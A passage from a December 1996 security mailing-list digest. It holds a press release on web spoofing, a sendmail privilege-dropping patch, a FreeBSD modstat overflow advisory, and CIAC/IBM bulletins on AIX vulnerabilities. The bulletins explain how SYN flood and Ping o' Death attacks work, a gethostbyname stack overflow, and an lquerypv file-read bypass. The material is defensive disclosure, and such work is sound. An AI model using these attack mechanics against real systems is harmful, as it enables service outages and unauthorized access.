From: SMTP%"best-of-security-d@suburbia.net" 20-DEC-1996 20:20:46.46 To: EVERHART CC: Subj: best-of-security-d Digest V96 #32 From: best-of-security-d-request@suburbia.net Date: Fri, 20 Dec 1996 22:49:57 +1100 (EST) Message-Id: <199612201149.WAA08002@suburbia.net> Subject: best-of-security-d Digest V96 #32 X-Loop: best-of-security-d@suburbia.net X-Mailing-List: archive/volume96/32 Precedence: list MIME-Version: 1.0 Content-Type: multipart/digest; boundary="----------------------------" To: best-of-security-d@suburbia.net Reply-To: best-of-security-d@suburbia.net ------------------------------ Content-Type: text/plain best-of-security-d Digest Volume 96 : Issue 32 Today's Topics: NEWS: Web Security Hole Revealed sendmail 8.8.4/initgroups--the way it ought to be FreeBSD Security Advisory: FreeBSD-SA-96:19.modstat CIAC Bulletin H-12: IBM AIX(r) 'SYN Flood' and 'Ping o' Death' Vulnerabilities CIAC Bulletin H-13: IBM AIX(r) Security Vulnerabilities (gethostbyname,lquerypv) AUSCERT alert for sendmail V8.8.3 (PUBLIC RELEASE) AUSCERT Advisory AA-96.19 INN parsecontrol Vulnerability Call for papers :2nd Mac-Crypto Conference Mar 18-20, 1997 Amended Bulletin (#137) the HP Bug of the Week! Obtuse smtpd 1.12 released. CERT Advisory CA-96.25 - Sendmail Group Permissions Vulnerability Irix: datman hole, errata L0pht Advisory: modstat Re: NEWS: Web Security Hole Revealed BoS: [nph]test-cgi BoS: Re: sendmail 8.8.4 and initgroups (fwd) BoS: Vulnerability in FreeBSD2.2 password creation BoS: Linux: exploit for killmouse. BoS: Re: Linux: exploit for killmouse. BoS: spot the potential BoS: ping o'death, variation on a theme... and less deadly things (bisdn) BoS: Smart Card Simulator for PC (Free) BoS: vixie-crontab for redhat linux BoS: Re: Linux: exploit for killmouse. BoS: Lotus Domino Advisory BoS: Irix: scanners hole BoS: Army Cryptanalysis manual online BoS: Army Cryptanalysis manual online BoS: vixie-crontab for redhat linux BoS: Army Cryptanalysis manual online BoS: vixie cron intel BSD exploit code BoS: Re: Vulnerability in test-cgi BoS: UPDATE: Financial Cryptography 1997 (FC97), Anguilla, BWI BoS: The Complete, Unofficial TEMPEST Information Page BoS: FreeBSD Security Advisory: FreeBSD-SA-96:20.stack-overflow BoS: A defense against SYN attacks ------------------------------ Date: Wed, 11 Dec 1996 23:14:51 -0500 From: Robert Hettinga To: cypherpunks@toad.com Subject: NEWS: Web Security Hole Revealed Message-Id: Content-Type: text/plain; charset="us-ascii" --- begin forwarded text X-Sender: okeefe@olympus.net Mime-Version: 1.0 Date: Wed, 11 Dec 1996 19:32:32 -0800 To: N E W S R E L E A S E From: "Steve O'Keefe" Subject: NEWS: Web Security Hole Revealed Approved: proff@suburbia.net BREAKING NEWS For Release Thursday, December 12, 1996 MAJOR WEB SECURITY FLAW REVEALED (New York) -- Edward Felten, head of Princeton University's Safe Internet Programming Team (SIP), today revealed a major security flaw in the Internet's World Wide Web. Called "web spoofing," the breach allows any Internet server to place itself between a user and the rest of the web. In that middle position, the server may observe, steal and alter any information passing between the unfortunate browser and the web. All major web browsers are vulnerable to web spoofing, including Netscape Navigator and Microsoft Internet Explorer. Using web spoofing, a person can acquire passwords, credit card numbers, account numbers, and other private information, even if transmitted over an apparently secure connection. The Boston Globe published an article about Felten's findings in this morning's "Plugged In" column. The story was written by Simson Garfinkel, technology columnist for HotWired's "Packet" news service. The complete story can be found at the following URL: http://www.boston.com/globe/glohome.shtml Felten will be demonstrating web spoofing TODAY, Thursday, December 12, at the Internet World expo at the Jacob K. Javits Convention Center in New York City. The demonstration will be held at the Wiley Computer Publishing Booth (#822) at 2:00 pm Eastern Time. The web flaw is just the latest in a series of major Internet security problems uncovered by Felten and his team. Felten documents some of these problems in his new book, "Java Security: Hostile Applets, Holes, and Antidotes" to be published in January by Wiley Computer Publishing. For an advance review copy of the book, simply reply to this e-mail. For further information, please contact: Edward Felten: felten@cs.princeton.edu (917) 972-3693 (cellular phone at Internet World) (609) 258-5906 (Princeton University) Jeffrey DeMarrais: jdemarra@wiley.com Wiley Computer Publishing (212) 850-6630 (review copies, interviews) Java Security Web Site: http://www.rstcorp.com/java-security.html Safe Internet Programming Web Site: http://www.cs.princeton.edu/sip/ --- end forwarded text ----------------- Robert Hettinga (rah@shipwright.com) e$, 44 Farquhar Street, Boston, MA 02131 USA "The cost of anything is the foregone alternative" -- Walter Johnson The e$ Home Page: http://www.vmeng.com/rah/ ------------------------------ Date: Wed, 11 Dec 1996 16:14:59 -0600 From: Michael Douglass To: Multiple recipients of list BUGTRAQ Subject: sendmail 8.8.4/initgroups--the way it ought to be Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII RCS file: RCS/conf.c,v retrieving revision 1.1 diff -c -r1.1 conf.c *** conf.c 1996/12/11 22:04:37 1.1 --- conf.c 1996/12/11 22:06:47 *************** *** 4275,4280 **** --- 4275,4293 ---- #endif } /* + ** SM_INITGROUPS -- wrapper for initgroups + */ + int sm_initgroups(uid,gid) + UID_T uid; + GID_T gid; + { + struct passwd *pw; + pw = sm_getpwuid(uid); + if( !pw ) + return( -1 ); + return( initgroups( pw->pw_name, gid ) ); + } + /* ** SM_GETPW{NAM,UID} -- wrapper for getpwnam and getpwuid */ =================================================================== RCS file: RCS/main.c,v retrieving revision 1.1 diff -c -r1.1 main.c *** main.c 1996/12/11 21:58:08 1.1 --- main.c 1996/12/11 22:03:06 *************** *** 806,811 **** --- 806,813 ---- if (OpMode != MD_DAEMON && OpMode != MD_FGDAEMON) { /* drop privileges -- daemon mode done after socket/bind */ + if (RunAsUid != 0) + (void) sm_initgroups(RunAsUid,RunAsGid); if (RunAsGid != 0) (void) setgid(RunAsGid); if (RunAsUid != 0) *************** *** 1318,1323 **** --- 1320,1327 ---- nullserver = getrequests(CurEnv); /* drop privileges */ + if (RunAsUid != 0) + (void) sm_initgroups(RunAsUid,RunAsGid); if (RunAsGid != 0) (void) setgid(RunAsGid); if (RunAsUid != 0) =================================================================== RCS file: RCS/sendmail.h,v retrieving revision 1.1 diff -c -r1.1 sendmail.h *** sendmail.h 1996/12/11 22:03:30 1.1 --- sendmail.h 1996/12/11 22:07:48 *************** *** 1365,1370 **** --- 1365,1371 ---- extern int releasesignal __P((int)); extern struct hostent *sm_gethostbyname __P((char *)); extern struct hostent *sm_gethostbyaddr __P((char *, int, int)); + extern int sm_initgroups __P((UID_T, GID_T)); extern struct passwd *sm_getpwnam __P((char *)); extern struct passwd *sm_getpwuid __P((UID_T)); extern struct passwd *finduser __P((char *, bool *)); Michael Douglass Texas Networking, Inc. "The past is a foreign country; they do things differently there." L. P. Hartley, British author. The Go-Between, Prologue (1953). ------------------------------ Date: Tue, 10 Dec 1996 20:23:15 +0100 (MET) From: FreeBSD Security Officer To: freebsd-security-notifications@freebsd.org, freebsd-announce@freebsd.org, freebsd-security@freebsd.org, first-teams@first.org Subject: FreeBSD Security Advisory: FreeBSD-SA-96:19.modstat Message-Id: <199612120918.KAA27535@gvr.win.tue.nl> -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= FreeBSD-SA-96:19 Security Advisory FreeBSD, Inc. Topic: Buffer overflow in modstat Category: core Module: modstat Announced: 1996-12-10 Affects: FreeBSD 2.0, 2.0.5, 2.1, 2.1.5, 2.1.6, 2.1.6.1 Corrected: FreeBSD-current as of 1996/08/08 FreeBSD only: no Patches: ftp://freebsd.org/pub/CERT/patches/SA-96:19/ ============================================================================= I. Background The modstat program is used to display status of loaded kernel modules. It is standard software in the FreeBSD operating system. II. Problem Description The modstat program has always been installed setuid kmem. Within the program, a buffer overflow can occur. III. Impact Local users can gain kmem privileges. IV. Workaround Modstat does not need to be setuid kmem. It is thus sufficient to do the following: su cd /usr/bin chmod 555 modstat This effectively clears the setuid bit on the modstat program. V. Solution Apply the following patch: (This patch can also be found on ftp://freebsd.org/pub/CERT/patches/SA-96:19) Index: Makefile =================================================================== RCS file: /home/freebsd/CVS/src/usr.bin/modstat/Makefile,v retrieving revision 1.1 retrieving revision 1.2 diff -u -r1.1 -r1.2 - --- Makefile 1994/08/19 12:14:02 1.1 +++ Makefile 1996/05/30 02:19:03 1.2 @@ -38,7 +38,5 @@ PROG= modstat MAN8= modstat.8 - -BINGRP= kmem - -BINMODE=2555 .include Index: modstat.c =================================================================== RCS file: /home/freebsd/CVS/src/usr.bin/modstat/modstat.c,v retrieving revision 1.3 retrieving revision 1.4 diff -u -r1.3 -r1.4 - --- modstat.c 1995/04/20 05:08:53 1.3 +++ modstat.c 1996/08/08 07:58:07 1.4 @@ -72,8 +72,9 @@ { struct lmc_stat sbuf; + sbuf.name[MAXLKMNAME - 1] = '\0'; /* In case strncpy limits the string. */ if (modname != NULL) - - strcpy(sbuf.name, modname); + strncpy(sbuf.name, modname, MAXLKMNAME - 1); sbuf.id = modnum; ============================================================================= FreeBSD, Inc. Web Site: http://www.freebsd.org/ Confidential contacts: security-officer@freebsd.org PGP Key: ftp://freebsd.org/pub/CERT/public_key.asc Security notifications: security-notifications@freebsd.org Security public discussion: security@freebsd.org Notice: Any patches in this document may not apply cleanly due to modifications caused by digital signature or mailer software. Please reference the URL listed at the top of this document for original copies of all patches if necessary. ============================================================================= -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMq2381UuHi5z0oilAQE99wP+NktTxugo1lrVDm0FVcmqd8c3zu6s95Wt WCvM9GLECCVB+sFbssbikQc35SvgzEjnE4lZ3J4VBrAoThG3tLOmO5si0csM8dwE QPGMyR/fdU7DpYXEK/XKuDxre1TDJ0uOwU9DfBewgy0o5OiybRR5dxj3nsJIznnd F5O6NNppKb0= =qcrF -----END PGP SIGNATURE----- ------------------------------ Date: Wed, 11 Dec 1996 12:56:50 -0600 From: David Crawford To: Multiple recipients of list BUGTRAQ Subject: CIAC Bulletin H-12: IBM AIX(r) 'SYN Flood' and 'Ping o' Death' Vulnerabilities Message-ID: <199612102214.OAA26000@eek.llnl.gov> -----BEGIN PGP SIGNED MESSAGE----- __________________________________________________________ The U.S. Department of Energy Computer Incident Advisory Capability ___ __ __ _ ___ / | /_\ / \___ __|__ / \ \___ __________________________________________________________ INFORMATION BULLETIN IBM AIX(r) 'SYN Flood' and 'Ping o' Death' Vulnerabilities December 10, 1996 19:00 GMT Number H-12 ______________________________________________________________________________ PROBLEM: Two vulnerabilities have been addressed: (1) The SYN Flood Attack, and (2) The Ping o' Death Attacks PLATFORM: IBM AIX 3.2.5, 4.1.x, 4.2.x DAMAGE: The SYN Flood attack allows the bombarding of a system with dozens of falsified connection requests a minute that can seriously degrade its ability to give service to legitimate connection requests. This is why the attack is said to "deny service" to the system's users. Unlike the SYN flood attack, the Ping o' Death problem is due to the implementation of fragmented packet reassembly, and is thus relatively easy to fix. SOLUTION: Install the newly available patches indicated below. ______________________________________________________________________________ VULNERABILITY Both vulnerabilities have been widely published on the Internet ASSESSMENT: and elsewhere. ______________________________________________________________________________ [ Start IBM-ERS Advisory ] =============================================================================== ======= ============ ====== ====== ======= ============== ======= ======= === === ==== ====== ====== === =========== ======= ======= === =========== === ======= === === === ==== === ===== === ======= ============== ===== === ===== ======= ============ ===== = ===== EMERGENCY RESPONSE SERVICE SECURITY VULNERABILITY ALERT 03 December 1996 18:30 GMT Number: ERS-SVA-E01-1996:006.1 =============================================================================== Newly Available Patches for IBM AIX(r) Address `SYN Flood' and `Ping o' Death' Vulnerabilities =============================================================================== CONTENTS I. Introduction and Background A. The SYN Flood Attack B. The "Ping o' Death" Attack II. AIX Systems Affected A. The SYN Flood Attack B. The "Ping o' Death" Attack III. Fixes for IBM AIX A. The SYN Flood Attack B. The "Ping o' Death" Attack IV. Fixes for IBM SNG Firewall V. Obtaining Fixes VI. Acknowledgements =============================================================================== I. Introduction and Background In recent weeks, two network protocol security vulnerabilities have received attention throughout the Internet community. These vulnerabilities are described below. The information in this section is not new; it has been published on the Internet and elsewhere. It is repeated here for completeness, and for those readers who are unfamiliar with either vulnerability. A. The SYN Flood Attack The first of these vulnerabilities, commonly called the "SYN Flood Attack," was publicized by the New York Times and other news media in September, 1996. The exploitation of this vulnerability takes advantage of the Transmission Control Protocol (TCP) connection establishment procedure, usually called the "three-way handshake." The three-way handshake works as follows: Suppose that Host A wants to connect to Host B: 1. Host A begins the process of establishing the connection by sending a SYN (synchronization) packet to Host B. This packet requests a new connection on a particular port, and begins the process of negotiating connection details such as packet sequence numbers. 2. Host B responds by sending a SYN/ACK (synchronization/acknowledgement) packet back to A. This packet acknowledges Host A's packet, and goes one step further in negotiating the connection details. 3. Host A sends a final ACK (acknowledgement) packet back to Host B; this acknowledges Host B's packet, finalizes the negotiations of connection details, and the connection is established. The three-way handshake is designed to work properly even if one of the packets gets lost or duplicated, which can happen from time to time (as a part of normal operations). During the time between steps 2 and 3, Host B must keep track of the pending new connection by storing the details of the negotiation in an in-memory data structure. This data structure is usually of finite size, which means that too many pending connections at one time can cause it to overflow. When this happens, Host B will be unable to accept any new connections at all until some of the pending connections have been fully established (or have timed out), freeing space in the data structure. The basic SYN flood attack works by sending a high volume of SYN packets to the target host, and then never responding to the SYN/ACK packets that are returned, thus filling up the data structure(s) used by the target host to keep track of pending connections. Although pending connections will time out eventually and free up space in the data structure(s), the sender can simply transmit additional SYN packets, faster than they can expire. In another possible scenario, the sender takes advantage of the fact that since he is ignoring the target host's SYN/ACK packets, he doesn't even need to receive them. This allows him to hide his location by using a forged address in the SYN packets his system sends -- he can use the real address of another system (thus misleading the target), or he can use a non-existent address (and simply hiding). At least one of the attack programs currently in use on the Internet makes up a new, random source address for each packet it sends. For more complete information on the SYN Flood attack, see ftp://info.cert.org/pub/cert_advisories/CA-96.21.tcp_syn_flooding B. The "Ping o' Death" Attack The second vulnerability, which has been dubbed the "Ping o' Death," takes advantage of the ability of the Internet Protocol (the protocol on top of which all other Internet protocols are built) to fragment packets. This works as follows: The specification for the Internet Protocol (IP) says that a packet may be up to 65,535 (2^16 - 1) bytes in length, including the packet header. But the specifications for most network technologies in use today do not allow packets that big. For example, the maximum Ethernet packet size is 1,500 bytes. To allow large packets to be sent, IP allows the sender to break a large packet up into several smaller packets. Each fragment packet contains an offset value that says where in the larger packet this fragment belongs -- the first fragment will have an offset of zero, the second fragment will have an offset equal to the length of the first fragment, and so on. Note that this makes it possible to combine a valid offset with a suitable fragment size such that (offset + size) is greater than 65,535, the maximum size of a packet. The problem arises in the way packet fragmentation is implemented by most systems. Typically, they do not attempt to process a packet until all the fragments have been received and an attempt has been made to reassemble them into one big packet. This opens these systems to the possibility for overflow of 16-bit internal variables, resulting in system crashes, protocol hangs, and other problems. This problem was first discovered in the context of sending ICMP ECHO REQUEST packets, commonly called "ping" packets after the application program used to send them. Most implementations of "ping" will not allow improperly-sized packets to be sent, although there are several exceptions to this (and many systems can be modified to allow it, in any case). Because sending a single, large (65,510 bytes) "ping" packet to many systems will cause them to hang or even crash, this problem was quickly dubbed the "Ping o' Death." For complete information on the Ping o' Death, see Mike Bremford's compilation of specific software vulnerabilities: http://www.sophist.demon.co.uk/ping/ II. AIX Systems Affected A. The SYN Flood Attack Any system that is connected to a TCP/IP-based network (Internet or intranet) and offers TCP-based services is vulnerable to the SYN flood attack. The attack does not distinguish between operating systems, software version levels, or hardware platforms; all systems are vulnerable. Because this attack takes advantage of the TCP protocol itself, it cannot be eliminated without changing the protocol. However, it is possible to make changes to the implementation of the connection establishment procedure that can mitigate the problems caused by the attack, and several vendors have either made such changes or are in the process of making them. B. The "Ping o' Death" Attack Not all operating systems are vulnerable to this problem. However, most of the popular operating systems in use today are vulnerable, to some degree, under certain circumstances. This problem is not limited to the UNIX system; it occurs in many personal computer operating systems, some midrange and mainframe systems, and several more specialized operating systems (terminal servers, network printers). Unlike the SYN flood attack, this problem is due to the implementation of fragmented packet reassembly, and is thus relatively easy to fix. Several vendors have either made patches for this problem available, or are in the process of doing so. III. Fixes for IBM AIX IBM has released AIX operating system fixes for both the SYN flood and "Ping o' Death" vulnerabilities. NOTE: If you are using the IBM Internet Connection Secured Network Gateway (SNG) firewall software, you must also apply the fixes listed in the next section. A. The SYN Flood Attack The following Automated Program Analysis Reports (APARs) for IBM AIX are now available to address the SYN flood attack: AIX 3.2.5 --------- No APAR available; upgrade to AIX 4..x recommended AIX 4.1.x --------- APAR - IX62476 AIX 4.2.x --------- APAR - IX62428 B. The "Ping o' Death" Attack The following Automated Program Analysis Reports (APARs) for IBM AIX are now available to address the "Ping o' Death" Attack: AIX 3.2.5 --------- APAR - IX59644 AIX 4.1.x --------- APAR - IX59453 AIX 4.2.x --------- APAR - IX61858 If you are running AIX 4.x, you can determine whether or not you have these fixes installed on your system by issuing the command instfix -ik APAR_ID where "APAR_ID" is the applicable "IXnnnnn" number from the list above. IV. Fixes for IBM SNG Firewall The following Automated Program Analysis Reports (APARs) for the IBM Internet Connection Secured Network Gateway firewall product are now available to address the SYN flood and "Ping o' Death" attacks: NOTE: The fixes in this section should ONLY be applied to systems running the IBM Internet Connection Secured Network Gateway (SNG) firewall software. They should be applied IN ADDITION TO the IBM AIX fixes listed in the previous section. IBM SNG V2.1 ------------ APAR - IR33376 PTF UR46673 IBM SNG V2.2 ------------ APAR - IR33484 PTF UR46641 V. Obtaining Fixes IBM AIX APARs may be ordered using Electronic Fix Distribution (via the FixDist program), or from the IBM Support Center. For more information on FixDist, and to obtain fixes via the Internet, please reference http://service.software.ibm.com/aixsupport/ or send electronic mail to "aixserv@austin.ibm.com" with the word "FixDist" in the "Subject:" line. VI. Acknowledgements AIX is a registered trademark of International Business Machines Corporation. =============================================================================== [ End IBM-ERS Advisory ] _______________________________________________________________________________ CIAC wishes to acknowledge the contributions of IBM-ERS for the information contained in this bulletin. _______________________________________________________________________________ CIAC, the Computer Incident Advisory Capability, is the computer security incident response team for the U.S. Department of Energy (DOE) and the emergency backup response team for the National Institutes of Health (NIH). CIAC is located at the Lawrence Livermore National Laboratory in Livermore, California. CIAC is also a founding member of FIRST, the Forum of Incident Response and Security Teams, a global organization established to foster cooperation and coordination among computer security teams worldwide. CIAC services are available to DOE, DOE contractors, and the NIH. CIAC can be contacted at: Voice: +1 510-422-8193 FAX: +1 510-423-8002 STU-III: +1 510-423-2604 E-mail: ciac@llnl.gov For emergencies and off-hour assistance, DOE, DOE contractor sites, and the NIH may contact CIAC 24-hours a day. During off hours (5PM - 8AM PST), call the CIAC voice number 510-422-8193 and leave a message, or call 800-759-7243 (800-SKY-PAGE) to send a Sky Page. CIAC has two Sky Page PIN numbers, the primary PIN number, 8550070, is for the CIAC duty person, and the secondary PIN number, 8550074 is for the CIAC Project Leader. Previous CIAC notices, anti-virus software, and other information are available from the CIAC Computer Security Archive. World Wide Web: http://ciac.llnl.gov/ Anonymous FTP: ciac.llnl.gov (128.115.19.53) Modem access: +1 (510) 423-4753 (28.8K baud) +1 (510) 423-3331 (28.8K baud) CIAC has several self-subscribing mailing lists for electronic publications: 1. CIAC-BULLETIN for Advisories, highest priority - time critical information and Bulletins, important computer security information; 2. CIAC-NOTES for Notes, a collection of computer security articles; 3. SPI-ANNOUNCE for official news about Security Profile Inspector (SPI) software updates, new features, distribution and availability; 4. SPI-NOTES, for discussion of problems and solutions regarding the use of SPI products. Our mailing lists are managed by a public domain software package called ListProcessor, which ignores E-mail header subject lines. To subscribe (add yourself) to one of our mailing lists, send the following request as the E-mail message body, substituting CIAC-BULLETIN, CIAC-NOTES, SPI-ANNOUNCE or SPI-NOTES for list-name and valid information for LastName FirstName and PhoneNumber when sending E-mail to ciac-listproc@llnl.gov: subscribe list-name LastName, FirstName PhoneNumber e.g., subscribe ciac-notes OHara, Scarlett W. 404-555-1212 x36 You will receive an acknowledgment containing address, initial PIN, and information on how to change either of them, cancel your subscription, or get help. PLEASE NOTE: Many users outside of the DOE, ESnet, and NIH computing communities receive CIAC bulletins. If you are not part of these communities, please contact your agency's response team to report incidents. Your agency's team will coordinate with CIAC. The Forum of Incident Response and Security Teams (FIRST) is a world-wide organization. A list of FIRST member organizations and their constituencies can be obtained via WWW at http://www.first.org/. This document was prepared as an account of work sponsored by an agency of the United States Government. Neither the United States Government nor the University of California nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process disclosed, or represents that its use would not infringe privately owned rights. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation or favoring by the United States Government or the University of California. The views and opinions of authors expressed herein do not necessarily state or reflect those of the United States Government or the University of California, and shall not be used for advertising or product endorsement purposes. LAST 10 CIAC BULLETINS ISSUED (Previous bulletins available from CIAC) H-01: Vulnerabilities in bash H-02: SUN's TCP SYN Flooding Solutions H-03: HP-UX_suid_Vulnerabilities H-04: HP-UX Ping Vulnerability H-05: Internet Hoaxes H-07: Sendmail SIGHUP-smtpd Vulnerability H-08: lpr Buffer Overrun Vulnerability H-09: HP 9000 Access Vulnerability H-10: HP-UX Security Vulnerabilities (passwd, fpkg2swpkg, newgrp) H-11: sendmail Group Permissions Vulnerability RECENT CIAC NOTES ISSUED (Previous Notes available from CIAC) Notes 07 - 3/29/95 A comprehensive review of SATAN Notes 08 - 4/4/95 A Courtney update Notes 09 - 4/24/95 More on the "Good Times" virus urban legend Notes 10 - 6/16/95 PKZ300B Trojan, Logdaemon/FreeBSD, vulnerability in S/Key, EBOLA Virus Hoax, and Caibua Virus Notes 11 - 7/31/95 Virus Update, Hats Off to Administrators, America On-Line Virus Scare, SPI 3.2.2 Released, The Die_Hard Virus Notes 12 - 9/12/95 Securely configuring Public Telnet Services, X Windows, beta release of Merlin, Microsoft Word Macro Viruses, Allegations of Inappropriate Data Collection in Win95 Notes 96-01 - 3/18/96 Java and JavaScript Vulnerabilities, FIRST Conference Announcement, Security and Web Search Engines, Microsoft Word Macro Virus Update -----BEGIN PGP SIGNATURE----- Version: 2.6.1 Comment: Processed by Mailcrypt 3.3, an Emacs/PGP interface iQCVAwUBMq3gw7nzJzdsy3QZAQFvJgP7BLtjSrR/a18+6N4NkPlBQa+g8snPgtQX zeeV5YYT6JDFDYcQDT5DEMDFZf9z+cqRU9xpXqsHdHTfMSfbClFOwPqiSQqZY9w+ f9XAzNIvETH7wqOsS7en0OYahFHDV520OkDyJNZ/uw7HJMzr3aQzYVkVlFl6rap6 xrVAP68YPJo= =//GB -----END PGP SIGNATURE----- ------------------------------ Date: Wed, 11 Dec 1996 17:19:08 -0600 From: David Crawford To: Multiple recipients of list BUGTRAQ Subject: CIAC Bulletin H-13: IBM AIX(r) Security Vulnerabilities (gethostbyname,lquerypv) Message-ID: <199612111657.IAA07212@eek.llnl.gov> -----BEGIN PGP SIGNED MESSAGE----- __________________________________________________________ The U.S. Department of Energy Computer Incident Advisory Capability ___ __ __ _ ___ / | /_\ / \___ __|__ / \ \___ __________________________________________________________ INFORMATION BULLETIN IBM AIX(r) Security Vulnerabilities (gethostbyname,lquerypv) December 10, 1996 23:00 GMT Number H-13 ______________________________________________________________________________ PROBLEM: Two problems have been identified in IBM AIX: (1) Possible buffer overrun condition in "gethostbyname()" library function, and (2) the "lquerypv" command does not correctly enforce file access permissions. PLATFORM: (1) IBM AIX 3.2.x, 4.1.x, 4.2.x, (2) IBM AIX 4.1, 4.2 DAMAGE: (1) If exploited, this condition may permit unauthorized super-user access to the system. (2) Users who know how to exploit this vulnerability may be able to read files they would not normally have access to. SOLUTION: Apply the fixes described below. ______________________________________________________________________________ VULNERABILITY Instructions on how to exploit these vulnerabilities have been ASSESSMENT: published on the Internet. ______________________________________________________________________________ [ Start IBM-ERS Bulletins ] 1. Vulnerability in gethostbyname() library function =============================================================================== ======= ============ ====== ====== ======= ============== ======= ======= === === ==== ====== ====== === =========== ======= ======= === =========== === ======= === === === ==== === ===== === ======= ============== ===== === ===== ======= ============ ===== = ===== EMERGENCY RESPONSE SERVICE SECURITY VULNERABILITY ALERT 03 December 1996 18:30 GMT Number: ERS-SVA-E01-1996:007.1 =============================================================================== VULNERABILITY SUMMARY VULNERABILITY: Possible buffer overrun condition in "gethostbyname()" library function PLATFORMS: IBM AIX(r) 3.2.x, 4.1.x, 4.2.x SOLUTION: Apply the fixes described below THREAT: If exploited, this condition may permit unauthorized super-user access to the system =============================================================================== DETAILED INFORMATION I. Description In TCP/IP networks such as the Internet and many corporate networks, hosts are identified by 32-bit numbers called addresses. However, because these numbers are difficult to remember, names are also given to hosts. Although people use the names to refer to the hosts, computer software must translate these names into the numeric addresses in order to use them. The Domain Name System (DNS), also called "the name server," is the primary database used to perform these name-to-address (and address-to-name) translations. Other databases, such as the Network Information System (NIS, formerly called Yellow Pages) and the "hosts file" are also used on some systems. When a program on a UNIX system wants to look up a host's name and obtain its network address, it uses a library function called "gethostbyname()." This function takes a host name as a parameter, contacts the Domain Name System (or another source of information), and returns the host's address(es) to the program. This saves the programmer the trouble of writing the complex code to interface with the name server. Under certain conditions, the "gethostbyname()" library function provided with IBM AIX versions 3.2.x, 4.1.x, and 4.2.x can encounter a buffer overrun that allows information on the program stack to be corrupted. II. Impact Many set-user-id and set-group-id programs, as well as many network programs running with super-user privileges, make use of the "gethostbyname()" library function. Corrupting the program stack of these programs may allow arbitrary user-provided code to be executed inadvertently. If successfully exploited, this buffer overrun condition could be used to gain super-user access to the system. Such an action could be initiated over the network from a remote system, or by a user on the local system. Penetration through a firewall may also be possible, depending on which services and applications are permitted by the firewall system. A script that exploits a similar buffer overrun condition in the Sun Solaris 2.x version of "gethostbyname()" was publicly released in November, 1996. Sun Microsystems announced fixes for that condition in Security Bulletin 137, which was released on 20 Nov 96. As of this writing, IBM-ERS is not aware of any similar exploitation script for the AIX operating system, nor are we aware of any successful exploitations of this condition (against either AIX systems or Solaris systems). III. Solutions The following Automated Program Analysis Reports (APARs) for IBM AIX are now available to address the concerns described above: AIX 3.2.x --------- APAR - IX60927 (PTF - U443452,U444191,U444206,U444213,U444233,U444244) To determine if you have this PTF on your system, run the following command: lslpp -lB U443452 U444191 U444206 U444213 U444233 U444244 AIX 4.1.x --------- APAR - IX61019 To determine if you have this APAR on your system, run the following command: instfix -ik IX61019 AIX 4.2.x --------- APAR - IX62144 To determine if you have this APAR on your system, run the following command: instfix -ik IX62144 IBM AIX APARs may be ordered using Electronic Fix Distribution (via the FixDist program), or from the IBM Support Center. For more information on FixDist, and to obtain fixes via the Internet, please reference http://service.software.ibm.com/aixsupport/ or send electronic mail to "aixserv@austin.ibm.com" with the word "FixDist" in the "Subject:" line. IV. Acknowledgements IBM-ERS would like to thank the CERT Coordination Center (CERT/CC), AUSCERT, Sun Microsystems, and Marko Laakso (University of Oulu) for providing some of the information in this advisory. AIX is a registered trademark of International Business Machines Corporation. =============================================================================== 2. Vulnerability in "lquerypv" command =============================================================================== ======= ============ ====== ====== ======= ============== ======= ======= === === ==== ====== ====== === =========== ======= ======= === =========== === ======= === === === ==== === ===== === ======= ============== ===== === ===== ======= ============ ===== = ===== EMERGENCY RESPONSE SERVICE SECURITY VULNERABILITY ALERT 03 December 1996 18:30 GMT Number: ERS-SVA-E01-1996:008.1 =============================================================================== VULNERABILITY SUMMARY VULNERABILITY: The "lquerypv" command does not correctly enforce file access permissions. PLATFORMS: IBM AIX(r) 4.1, 4.2 SOLUTION: Apply the fix described below. THREAT: Users who know how to exploit this vulnerability may be able to read files they would not normally have access to. =============================================================================== DETAILED INFORMATION I. Description The "lquerypv" command is an undocumented, low-level worker program that is a part of the AIX Logical Volume Manager family of commands. When installed, the "lquerypv" command is set-user-id "root", which allows it to run with super-user access permissions. When invoked with the "-h" option, "lquerypv" does not adequately enforce the read permissions on files when it is run by regular (non-"root") users. This can allow users to obtain access to the contents of files that they are not authorized to read. Instructions for exploiting this vulnerability were made available on USENET newsgroups and Internet mailing lists in November, 1996. II. Impact Allowing users to obtain unauthorized access to file contents can reveal such confidential information as encrypted passwords, electronic mail, and other data. III. Solutions A. How to alleviate the problem This problem can be alleviated by removing the set-user-id bit from the "lquerypv" program. To do this, execute the following command as "root": chmod u-s /usr/sbin/lquerypv Note that this action will cause some Logical Volume Manager commands to fail when they are executed by non-"root" users (such as "lsps"). It will not affect the operation of these commands when they are executed by "root". B. Official fix The following Automated Program Analysis Reports (APARs) for IBM AIX are now available to address this problem: AIX 3.2.x --------- Not vulnerable; no fix necessary. AIX 4.1.x --------- APAR - IX64203 To determine if you have this APAR on your system, run the following command: instfix -ik IX64203 Or, run this command: lslpp -h bos.rte.lvm and verify that your version of bos.rte.lvm is 4.1.5.3 or later. AIX 4.2.x --------- APAR - IX64204 To determine if you have this APAR on your system, run the following command: instfix -ik IX64204 Or, run this command: lslpp -h bos.rte.lvm and verify that your version of bos.rte.lvm is 4.2.0.7 or later. IBM AIX APARs may be ordered using Electronic Fix Distribution (via the FixDist program), or from the IBM Support Center. For more information on FixDist, and to obtain fixes via the Internet, please reference http://service.software.ibm.com/aixsupport/ or send electronic mail to "aixserv@austin.ibm.com" with the word "FixDist" in the "Subject:" line. V. Acknowledgements IBM-ERS would like to thank Andrew Pechenov for bringing this vulnerability to our attention. AIX is a registered trademark of International Business Machines Corporation. =============================================================================== [ End IBM-ERS Bulletins ] _______________________________________________________________________________ CIAC wishes to acknowledge the contributions of IBM-ERS for the information contained in this bulletin. _______________________________________________________________________________ CIAC, the Computer Incident Advisory Capability, is the computer security incident response team for the U.S. Department of Energy (DOE) and the emergency backup response team for the National Institutes of Health (NIH). CIAC is located at the Lawrence Livermore National Laboratory in Livermore, California. CIAC is also a founding member of FIRST, the Forum of Incident Response and Security Teams, a global organization established to foster cooperation and coordination among computer security teams worldwide. CIAC services are available to DOE, DOE contractors, and the NIH. CIAC can be contacted at: Voice: +1 510-422-8193 FAX: +1 510-423-8002 STU-III: +1 510-423-2604 E-mail: ciac@llnl.gov For 